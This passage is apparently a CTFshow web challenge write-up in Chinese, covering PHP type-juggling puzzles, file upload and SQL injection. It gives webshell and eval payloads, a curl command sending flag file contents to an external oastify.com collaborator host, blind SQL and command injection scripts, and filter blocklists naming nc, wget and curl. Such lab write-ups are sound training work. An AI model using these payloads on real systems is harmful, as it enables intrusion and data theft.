2.向上看,strpos查找字符串,查找到返回1,!strpos($num,"0"),1变为0,这个if需要为0,所以字符串中需要有0,条件num=4476.0
3.向上看,第一个if需要不为4476才不成立,num=4476.0依然可以,传十六进制也行,十六进制0x开头
/?num=4476.0
web95
题目
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
解法
1.找入口点echo $flag; 这里intval($num,0)要等于4476,这里可以猜测num=4476
2.向上看发现需要0来让strpos不成立,即num=4476.0
3.继续向上看,不能有小数点,所以需要用八进制来代替,数字0开头表示8进制即4476=010574
4.第一个if中num不能等于4476否则php停止,这里需要将010574转化为字符串
intval('+4')//4
intval('-4')//-4
php8之前intval(' 4')//4
payload
1./?num= 010574
2./?num=+010574#对浏览器来说+就是空格传到服务器php接收为空格
3./?num=%2b010574#%26解码是+,这样服务端接收到的也是+
Web96
题目
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
解法
1.审题发现,u=flag.php就会结束php,但我们需要highlight_file($_GET['u']);来输出flag.php
payload
/?u=./flag.php
/?u=/var/www/html/flag.php
Web97
题目
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
解法
本地md5加密会发现,加密数组返回NULL,空等于空,if成立
payload
/?a[]=1&b[]=2
Web98
题目
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
解法
1.对题目进行分析,$_GET?$_GET=&$_POST:'flag'
;这段代码有点误导,我第一眼以为$_GET为空则$_GET
强制转化为字符串flag,但php执行以下就会发现,$_GET?$_GET=&$_POST:'flag';
在$_GET
为空导致执行'flag'其实是返回值为flag,并不影响$_GET
变量的值
<?php
echo $_GET ? $_GET = &$_POST : 'flag';//输出flag
echo var_dump($_GET);//输出array(0) {}还是数组
2.这里只需要确保$_GET
不为空即可,$_GET=&$_POST
表示post为什么get就位什么
以下两条代码其实没有,因为根本就有传POST['flag'],也就是说$_GET['flag']
不存在,这2条代码只会单纯的返回flag字符串而已,不影响post和get变量
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
3.一下代码表示HTTP_FLAG=flag就包含$flag变量,没有$flag变量值的文件,会直接报错出无法这个名字文件,这时flag就被报错报出来了,get是指向post的,即post传入HTTP_FLAG=flag即可
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
效果如下
Web99
题目
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
解法
1.函数介绍
array_push — 将一个或多个单元压入数组的末尾(入栈)
rand 随机数,第一个参数表示最小值,第二个表示最大值(即范围)
in_array — 检查数组中是否存在某个值,这个函数有三个参数,没有设置第三个参数默认为宽松检测
file_put_contents 第一个参数文件名,第二个参数要写入的文件内容
2.思路
in_array并没有设置第三个参数,也就是说1.php==1会进行弱比较,1.php转化为数字为1,因为rand是从1开始并且范围往上加的,出现1的概率比较大,换其他随机范围的数字也行,但成功写入概率会变小
payload
/?n=1.php
POST body
php代码
Web100
题目
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
解法
1.找利用位置,发现eval,往上1个if匹配到分号返回1,怎么v3需要有分号,v2匹配分号但是取反表示不能有分号,在往上第一个if v0要为非空和0,
2.找到v0位置发现$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
in_numeric
作用判断是否为数字或字符串型数字,是返回1,否返回0
这里考的是优先级,and的优先级是20,=的优先级是19,也就是说等于会先执行,即v0=is_numeric($v1),后面的代码不影响
payload
/?v1=1&v2=@eval($_POST[1])?%3E&v3=;#蚁剑连接即可
找到flag后把0x2d改为-即可
Web101
题目
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
解法
类反射
/?v1=1&v2=echo new Reflectionclass&v3=;
得到flag发现是35为少一位,爆破最后一位即可,0-f一共16种情况
web102
题目
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
解法
1.审题发现 $v4 = is_numeric($v2) and is_numeric($v3);
,其中=的优先级是19,and的优先级是20,也就是说v4=v2,v3不影响v4
2.$s = substr($v2,2);,从第二位开始取剩下的部分,也就是说v2前2为随便写数字即可
3.call_user_func是回调函数,第一个参数表示要执行的函数,后面参数表示执行函数的参数,比如v1等于phpinfo,这执行phpinfo($s)
4.hex2bin转换十六进制字符串为二进制字符串,5044383959474e686443417159447(5044383959474e686443417159447中只有e是字母,e表示科学计数法,如有其他字母is_numeric会返回0,导致第一个if不通过)转化为字符串为PD89YGNhdCAqYDs,PD89YGNhdCAqYDs通过base64解码后是<?=cat *
;
payload
/?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
web105
题目
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){#key和get的名字相同,并把名字所对应的值给value变量
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;#把变量的值当做变量,比如$key='c',那么$$key就是$c
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
解法
payload:
/?suces=flag
POST
error=suces
Web107
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
解法
parse_str
将字符串解析成多个变量
<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
// 推荐用法
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz
// 不建议这么用
parse_str($str);
echo $first; // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>
payload:
/?v3[]=a
POST
v1='flag[]=1'
web108
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
#ereg模式搜索,匹配成功返回true,存在NULL截断漏洞
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){#intval获取字符串整数,strrev反转字符串
echo $flag;
}
?>
解法
payload:
/?c=d%00778
web109
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
#v1和v2必须纯字母
eval("echo new $v1($v2());");
}
}
?>
解法
1.审题发现echo new $v1($v2());,这里有$v2(),php中函数使用,例如phpinfo()();一样当做phpinfo()执行,所以v2处可以正常构造代码,php在new初始化一个类的时候类名括号中是可以指定函数和参数的,所以只要v1为一个类名,就可以通过v2执行代码
php原生类有
stdClass
、Error
、Exception
、Reflectionclass
等
随便初始化一个原生类即可
payload:
/?v1=error&v2=system('tac *')
web110
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
解法
考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
payload:
/?v1=FilesystemIterator&v2=getcwd
web111
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
#把v1的值作为变量,把v2值作为变量并把地址给v1,这里v2不能为flag
#php中函数内不能调用函数外的非全局变量,v2等于GLOBALS即可,这个系统常量存放了所有变量
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
解法
payload:
/?v1=ctfshow&v2=GLOBALS
web113
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
#is_file检测文件后缀是否为正常后最,如果是.php之类的返回false,如果是通过伪协议指定php文件不会判定为非法后缀
highlight_file(filter($file));
}else{
echo "hacker!";
}
1.利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了
payload1:
/?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
payload2:
/?file=compress.zlib://flag.php
#compress.zlib://用于读取压缩包内容,会自动解压缩
web115
题目
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
解法
可以使用换页服\f
绕过!==
payload:
/?num=%0c36
web125
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
解法
payload:
/?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
POST
CTF_SHOW=1&CTF[SHOW.COM=1&fl0g=flag_give_me&fun=extract($_POST)
//extract将数组转化为变量
CTF[SHOW=1&&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())
web126
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
解法
payload:
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
//parse_str — 将字符串解析成多个变量,php8必须设置第二个参数
or
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
web128
题目
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
解法
小知识点: _()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
get_defined_vars()函数
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
payload:
/?f1=_&f2=get_defined_vars
web131
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
解法
payload:
import requests
url='url'
data={
"f":"-"*1000000+"36Dctfshow"
}
response = requests.post(url,data=data)
print(response.text)
web133
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
解法
1.分析题目发现发送的字符串绕过过滤后只能取前6个字符执行
但F=`$F`;开头时,截取字符串刚好截取的`$F`; (``表示shell_exec),这样eval会把$F的值当做命令执行,如下
shell ~`$F`;
这样就产生了变量覆盖,分号在命令行中表示命令结束,后面可以继续跟命令并和分号前的命令独立
F=`$F`;ls时,$F的值就位`$F`;ls
shell_exec是没有回显的,需要将结果外带
2.burpsuite实现命令外带,抓包,发送重放器,在get请求处,右键如下,点击插入Collaborator payload
3.执行通过curl命令将命令执行结果外带
payload:
#查看当前目录,curl POST 发送POST请求 -d指定POST请求内容,"$(ls)"将ls执行结果作为POST请求体内容发送,url是上一步插入的
/?F=`$F`;+curl+POST+-d+"$(ls)"+a3e1e3bpn6dx55oclctdk00p7gd91zpo.oastify.com/
查看collaborator结果如下
payload:
/?F=`$F`;+curl+POST+-d+"$(cat+flag.php)"+a3e1e3bpn6dx55oclctdk00p7gd91zpo.oastify.com/
结果如下
web134
题目
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
解法
1.审题发现parse_str和extract
parse_str 把字符串转化为变量
extract 把数组转化为变量
QUERY_STRING 获取url的get请求部分,即?问号后的部分作为字符串
利用方法,get传入_POST[]
,即可将_POST
转换为$_POST
来实现变量覆盖
payload:
/?_POST[key1]=36d&_POST[key2]=36d
web139
题目
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
解法
1.通过测试发现不可写,没有点也不能进行url外带
命令盲注获取文件内容
查看文件脚本
import requests
result = "-----+"
url = "url/?c="
payload = "if [ `ls / -1 | cut -c {} | awk \"NR=={}\"` == \"{}\" ];then sleep 5;fi"
row = 10
length = 20
strings = "abcdefghijklmnopqrstuvwxyz_-0123456789"
for r in range(1,row):
for c in range(1,length+1):
for s in strings:
target = url + payload.format(c,r,s)
#print(target)
try:
requests.get(target,timeout=4)
except:
result +=s
print(result)
break
result += " "
print(result)
查看内容脚本
import requests
result = "-----+"
url = "http://7cde8874-1be5-43a1-be23-8d646ca3e09a.challenge.ctf.show/?c="
payload = "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 5;fi"
length = 50
strings = "abcdefghijklmnopqrstuvwxyz_-0123456789"
for c in range(1,length+1):
for s in strings:
target = url + payload.format(c,s)
#print(target)
try:
requests.get(target,timeout=4)
except:
result +=s
print(result)
break
result += " "
print(result)
web141
题目
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
解法
1.分析题目发现v1和v2必须为数字,所以只有v3可控,preg_match('/^\W+$/', $v3)检测到非字母返回true
一个数字和一个函数进行运算时函数会执行,所以只需要v1+执行的函数;v2即可命令执行
异或绕过如下
payload:
/?v1=10&v2=0&v3=-("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60");
web143
题目
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
解法
1.审题发现没有过滤^可以异或绕过
payload:
/?v1=1&v2=1&v3=^(("%0C%06%0C%0B%05%0D"^"%7F%7F%7F%7F%60%60")("%03%01%0B%00%06%0C%01%07%01%0F%08%0F"^"%60%60%7F+%60%60%60%60%2F%7F%60%7F"))?>
脚本
<?php
function xor_fun($text, $zz)
{
$str1 = '';#存第一个字符串
$str2 = '';#存第二个字符串,主要是为了进行异或运算,例如'aaa'^'bbb'
$n = 0;#标记循环结束,如果字符串text一个位出结果了,就退出这位字符的计算,从而计算下一位
for ($k = 0; $k < strlen($text); $k++)#将字符串一位一位取出,通过异或运算计算谁异或谁能得到text[k]
for ($i = 0; $i <= 255; $i++) {#url编码的范围0-255
if ($n == 1) {#计算出所需字符结束本轮计算下一位字符
$n = 0;
break;
}
if (!preg_match($zz, chr($i))) {#i不满足条件则进行i++
for ($j = 0; $j <= 255; $j++) {#url编码的范围0-255
if (!preg_match($zz, chr($j))) {#j不满足条件则进行j++
if (chr($i ^ $j) == $text[$k]) {#计算想要字符,成立则记录字符串
$n = 1;
$str1 .= chr($i);
$str2 .= chr($j);
break;
} else
continue;
} else
continue;
}
} else
break;
continue;
}
return '"' . urlencode($str1) . '"^"' . urlencode($str2) . '"';
}
$fun = 'system';#要执行的函数
$cmd = 'cat flag.php';#函数参数
$zz = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';#过滤的正则表达式
$payload = '(' . xor_fun($fun, $zz) . ')' . '(' . xor_fun($cmd, $zz) . ')';
echo $payload;
web147
题目
<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
解法
考察创建函数
payload
/?show=;};system('tac *');/*
POST
ctf=%5Ccreate_function
CTF SHOW Web入门文件上传
web151
1.上传png后缀
2.burpsuite抓包修改下后缀名为php上传即可,效果如下
3.直接蚁剑连接即可
web152
后端检测Content-Type: image/png
web153
通过.user.ini配置文件来包含图片文件
.user.ini内容如下
auto_prepend_file=1.png
#auto_prepend_file指定.user.ini所在目录每个php文件都包含指定文件
上传如下:
上传1.php
蚁剑连接
web154
.user.ini文件上传,短标签绕过过滤
web160
通过测试过滤发现过滤了{,(,log,php等,且Content-Type必须为image/png
通过上传.user.ini来包含png,通过include的使用不需要括号,可以通过拼接日志路径,来实现日志包含,如log为"lo"."g"拼接
蚁剑连接
web161
伪造图片头图进行绕过GIF图片头部为GIF89a,这题头部上传不成功,正常png图片和jpg图片都不成功,只能gif
解法如下:
上传.user.ini
上传1.png
web162
在web163基础上过滤了点,或运算计算出点来拼接日志文件路径,并修改.user.int包含无扩展名文件
蚁剑连接
web163
这题上传没有后缀名的文件会立即删除,文件体又禁用了点,导致.user.ini不能指定包含有后缀名的文件,但.user.ini指定包含文件时可以使用php伪协议来实现命令执行
查看结果
蚁剑连接
web167
.htaccess上传,.htaccess是web中间件的子配置文件,其配置可以覆盖主配置文件
SetHandler application/x-httpd-php
#表示所有文件都作为php执行
#AddType application/x-httpd-php .php .phtml .php3
#指定.php .phtml .php3作为php执行
上传.htaccess文件
随便上传一个格式的文件并包含php后门代码,然后蚁剑连接
CTF SHOW Web入门sql注入
web171
题目如下
打开题目可以看到查询语句
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
这是一条php代码,实际上sql语句如下
select username,password from user where username !='flag' and id = '传入参数' limit 1;
这里传入1效果如下
右键检测会点击网络会出发现如下请求
点击请求页面即可跳转到api页面,进入api页面后即可通过hackber来构建sql语句了,api页面如下
方法一:
通过拼接语句来查询数据,从上面sql可知这题是单引号闭合,通过传入一个单引号在通过#号来吧后面sql语句注释即可成功闭合
构造语句如下
?id=1'%23
可以用order by来判断列数,order by是用于排序的,可以用数字代替列名,1表示第一列,2表示第二列。如果回显错误就证明列数过多。
?id=1' order by 3%23
通过联合注入查询当前数据库名,效果如下
查看当前数据库下的表名
查看当前数据表下的字段名
查询数据表数据
方法二:
通过万能密码查询数据
?id=1' or 1=1%23
web172
payload:
?id=1' union select 1,password from ctfshow_user2%23
web173
payload:
?id=1' union select 1,2,password from ctfshow_user3%23
web174
这题过滤了回显数字,那这⾥采取盲注的⽅式,使⽤substr语句,过滤如下
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
盲注脚本:
import requests
url = 'http://a7aeef5c-aa3d-4423-b293-aedf4a97f316.challenge.ctf.show/api/v4.php'
flag=''
length = 60
for i in range(1,length):
for j in range(32,128):
payload = f"?id=1' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'),{i},1))={j},'true','false')%23"
r = requests.get(url=url+payload).text
if 'true' in r:
flag+=chr(j)
print(flag)
break
else:
continue
print(flag)
web175
这题过滤了0-127的所有字符,布尔盲注是不行了,但还可以通过时间盲注
过滤如下
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
盲注脚本:
import requests
import time
url = 'http://3816d15b-0ab0-4742-9ffc-0e405e18244b.challenge.ctf.show/api/v5.php'
flag=''
length = 60
for i in range(1,length):
for j in range(32,128):
payload = f"?id=1' union select 'a',if(ascii(substr((select password from ctfshow_user5 where username='flag'),{i},1))={j},sleep(0.5),'false')%23"
start = time.time()
r = requests.get(url=url+payload).text
end = time.time()
sub = end - start
if sub > 0.5 :
flag+=chr(j)
print(flag)
break
else:
continue
print(flag)
web176
这题没有给过滤信息,需要自己测试
测试出过滤了小写select,可以大写绕过
payload:
方法一:
?id=-1' union Select password,2,3 from ctfshow_user%23
方法二:
?id=1'or 1=1%23
web177-178
过滤空格,使用%09代替空格
payload:
?id=1'%09union%09select%091,2,password%09from%09ctfshow_user%23
web179
过滤空格、%09等,用%0c代替空格
payload:
?id=1%27%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23
web180
过滤空格、%09、%23(#)等,--空格也在mysql中表示注释,但空格被过滤了,这里的空格一样可以用%0c代替
payload:
?id=1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user--%0c
web181
这题开始放黑名单了
基本上把能代替空格的字符都禁用了,当可以使用括号来省略空格
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
payload:
?id='or(id=26)and'1'='1
web182
过滤
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
payload:
?id='or(id=26)and'1'='1
web183
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
过滤
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
验证sql注入存在payload:
POST tableName=ctfshow_user
结果:$user_count = 22;
POST tableName=(ctfshow_user)where(id)in(26) //in匹配其中一个值
结果:$user_count = 1;
POST tableName=(ctfshow_user)where(pass)like"ctfshow{%25" //%25表示%,%在like中表示匹配所有
like盲注脚本
import requests
url = 'http://22044bcd-2680-464f-8483-a7be91d16be7.challenge.ctf.show/select-waf.php'
str = '0123456789abcdef-}_'#flag所包含的字符
flag="ctfshow{"
length = 60
for i in range(length):
for j in str:
payload = f"(ctfshow_user)where(pass)like('{flag}{j}%')"
data={
"tableName":payload
}
r = requests.post(url,data=data).text
if '$user_count = 1' in r:
flag += j
print(flag)
if j == '}':
exit()
break
else:
continue
web184
这题过滤了where,但把空格放行了,sql语句的having也可以实现条件判断,having对分组后的字段进行条件判断
引号绕过:在mysql中字符串可以用十六进制代替,例如
mysql> select 0x25;
+------+
| 0x25 |
+------+
| % |
+------+
1 row in set (0.00 sec)
过滤
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
验证sql注入存在payload:
POST tableName=ctfshow_user group by pass having pass like 0x63746673686f777b25
结果:$user_count = 1;
like十六进制盲注脚本
import requests
url = 'http://7a0914ee-39d3-4db6-81c4-0d260666d85d.challenge.ctf.show/select-waf.php'
str = '0123456789abcdef-}_'
flag="0x63746673686f777b"
length = 60
for i in range(length):
for j in str:
payload = f"ctfshow_user group by pass having pass like {flag}{hex(ord(j))[2:]}25"
data={
"tableName":payload
}
r = requests.post(url,data=data).text
if '$user_count = 1' in r:
flag += hex(ord(j))[2:]
print(bytes.fromhex(flag[2:]).decode("utf-8"))
if j == '}':
exit()
break
else:
continue
web185
这题过滤了数字只能构建数字
例子
mysql> select true;
+------+
| TRUE |
+------+
| 1 |
+------+
1 row in set (0.00 sec)
mysql> select true+true;
+-----------+
| true+true |
+-----------+
| 2 |
+-----------+
1 row in set (0.00 sec)
过滤
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
盲注脚本
import requests
def str_to_num(n):
return ("true+"*n)[:-1]
def concat_str(s):
c = ""
for i in s:
c +="char("+ str_to_num(ord(i)) +"),"
return c[:-1]
url = 'http://716191ea-4537-4eea-acfc-8be365d683e5.challenge.ctf.show/select-waf.php'
str = '0123456789abcdef-{}_'
flag = 'ctfshow{'
for i in range(60):
for j in str:
rew = concat_str(flag+j+'%')
payload=f'ctfshow_user group by pass having pass like (concat({rew}))'
data={
"tableName":payload
}
r = requests.post(url,data=data).text
if "$user_count = 1" in r:
flag+=j
print(flag)
